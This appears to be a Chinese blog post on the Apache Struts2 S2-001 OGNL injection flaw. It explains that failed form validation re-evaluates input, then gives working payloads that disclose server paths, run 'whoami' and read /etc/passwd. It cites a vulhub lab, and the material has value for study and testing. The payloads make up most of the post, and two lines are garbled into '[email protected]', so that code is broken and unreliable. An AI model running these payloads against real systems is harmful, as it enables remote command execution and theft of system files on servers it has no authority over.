1. 程式人生 > >S2-001 遠端程式碼執行漏洞

S2-001 遠端程式碼執行漏洞

該漏洞因為使用者提交表單資料並且驗證失敗時,後端會將使用者之前提交的引數值使用 OGNL 表示式 %{value} 進行解析,然後重新填充到對應的表單資料中。例如註冊或登入頁面,提交失敗後端一般會預設返回之前提交的資料,由於後端使用 %{value} 對提交的資料執行了一次 OGNL 表示式解析,所以可以直接構造 Payload 進行命令執行

對漏洞進行測試,首先在password地方輸入%{1+1}
在這裡插入圖片描述
點選登陸,發現報錯返回解析成了2
在這裡插入圖片描述
證明漏洞存在。

POC && EXP

獲取tomcat執行路徑:

%{"tomcatBinDir{"
[email protected]
@getProperty("user.dir")+"}"}

在這裡插入圖片描述
獲取Web路徑:

%{
#[email protected]@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

在這裡插入圖片描述

執行命令

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在這裡插入圖片描述
執行任意命令時,如果所執行的命令需要組合,則將上述 payload 改為:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在這裡插入圖片描述

參考連結:
https://www.cnblogs.com/Eleven-Liu/p/9112553.html
https://github.com/vulhub/vulhub/blob/master/struts2/s2-001/README.zh-cn.md
在這裡插入圖片描述